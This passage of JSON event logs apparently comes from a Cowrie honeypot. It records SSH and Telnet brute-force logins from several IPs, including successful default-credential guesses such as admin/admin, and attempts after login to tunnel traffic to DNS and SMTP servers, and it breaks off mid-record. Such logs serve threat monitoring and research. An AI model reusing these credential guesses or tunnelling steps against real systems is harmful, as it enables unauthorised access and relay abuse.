{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:26.105818Z","src_ip":"87.251.64.176","session":"843bd78d248e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:26.394433Z","src_ip":"87.251.64.176","session":"843bd78d248e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:26.495918Z","session":"843bd78d248e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:26.595449Z","src_ip":"87.251.64.176","session":"843bd78d248e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:26.694484Z","src_ip":"87.251.64.176","session":"843bd78d248e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":33706,"dst_ip":"10.17.0.5","dst_port":22,"session":"42adbbc2164e","protocol":"ssh","message":"New connection: 2.57.122.210:33706 (10.17.0.5:22) [session: 42adbbc2164e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:49.729227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:49.735151Z","src_ip":"2.57.122.210","session":"42adbbc2164e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:49.844336Z","src_ip":"2.57.122.210","session":"42adbbc2164e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eigen","password":"123456","message":"login attempt [eigen/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:50.363234Z","src_ip":"2.57.122.210","session":"42adbbc2164e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":15186,"dst_ip":"10.17.0.5","dst_port":23,"session":"da2d292bac95","protocol":"telnet","message":"New connection: 212.55.149.117:15186 (10.17.0.5:23) [session: da2d292bac95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:50.857124Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:46:51.517936Z","src_ip":"2.57.122.210","session":"42adbbc2164e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":44728,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca29d69bf3a6","protocol":"ssh","message":"New connection: 171.231.193.85:44728 (159.203.135.109:22) [session: ca29d69bf3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:01.514406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:01.867126Z","src_ip":"171.231.193.85","session":"ca29d69bf3a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:04.819267Z","src_ip":"171.231.193.85","session":"ca29d69bf3a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@","message":"login attempt [root/@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:06.901458Z","src_ip":"171.231.193.85","session":"ca29d69bf3a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:09.487654Z","src_ip":"171.231.193.85","session":"ca29d69bf3a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.26637887954712,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:11.165709Z","src_ip":"212.55.149.117","session":"482bbd3ab245","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":53773,"dst_ip":"10.17.0.5","dst_port":23,"session":"071468905166","protocol":"telnet","message":"New connection: 212.55.149.117:53773 (10.17.0.5:23) [session: 071468905166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:16.167861Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":35660,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8dd88319546","protocol":"ssh","message":"New connection: 193.32.162.145:35660 (10.17.0.5:22) [session: d8dd88319546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:33.805178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:33.809509Z","src_ip":"193.32.162.145","session":"d8dd88319546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:33.908803Z","src_ip":"193.32.162.145","session":"d8dd88319546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"raydium","message":"login attempt [ubuntu/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:34.207244Z","src_ip":"193.32.162.145","session":"d8dd88319546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:35.309169Z","src_ip":"193.32.162.145","session":"d8dd88319546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":116.47437715530396,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:47.753821Z","src_ip":"212.55.149.117","session":"7eddb815f766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.820048809051514,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:51.677066Z","src_ip":"212.55.149.117","session":"da2d292bac95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":29608,"dst_ip":"159.203.135.109","dst_port":22,"session":"63a95137db04","protocol":"ssh","message":"New connection: 193.46.255.86:29608 (159.203.135.109:22) [session: 63a95137db04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:57.888805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:57.896344Z","src_ip":"193.46.255.86","session":"63a95137db04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:58.025095Z","src_ip":"193.46.255.86","session":"63a95137db04","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1","message":"login attempt [admin/admin1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:58.617670Z","src_ip":"193.46.255.86","session":"63a95137db04","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"81.19.77.166","dst_port":587,"src_ip":"193.46.255.86","src_port":22,"message":"direct-tcp connection request to 81.19.77.166:587 from 127.0.0.1:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:58.748794Z","session":"63a95137db04","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"81.19.77.166","dst_port":587,"data":"b'E'","id":0,"message":"discarded direct-tcp forward request 0 to 81.19.77.166:587 with data b'E'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:58.878536Z","src_ip":"193.46.255.86","session":"63a95137db04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:47:59.010393Z","src_ip":"193.46.255.86","session":"63a95137db04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.36478066444397,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:48:17.532511Z","src_ip":"212.55.149.117","session":"071468905166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.193.85","src_port":49262,"dst_ip":"159.203.135.109","dst_port":22,"session":"857d9e0a2fd9","protocol":"ssh","message":"New connection: 171.231.193.85:49262 (159.203.135.109:22) [session: 857d9e0a2fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:48:44.919839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:48:45.067677Z","src_ip":"171.231.193.85","session":"857d9e0a2fd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:48:45.190664Z","src_ip":"171.231.193.85","session":"857d9e0a2fd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:48:46.494785Z","src_ip":"171.231.193.85","session":"857d9e0a2fd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:48:47.863373Z","src_ip":"171.231.193.85","session":"857d9e0a2fd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":39850,"dst_ip":"10.17.0.5","dst_port":22,"session":"25980d9bf7be","protocol":"ssh","message":"New connection: 2.57.122.210:39850 (10.17.0.5:22) [session: 25980d9bf7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:05.598552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:49:05.610486Z","src_ip":"2.57.122.210","session":"25980d9bf7be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-ce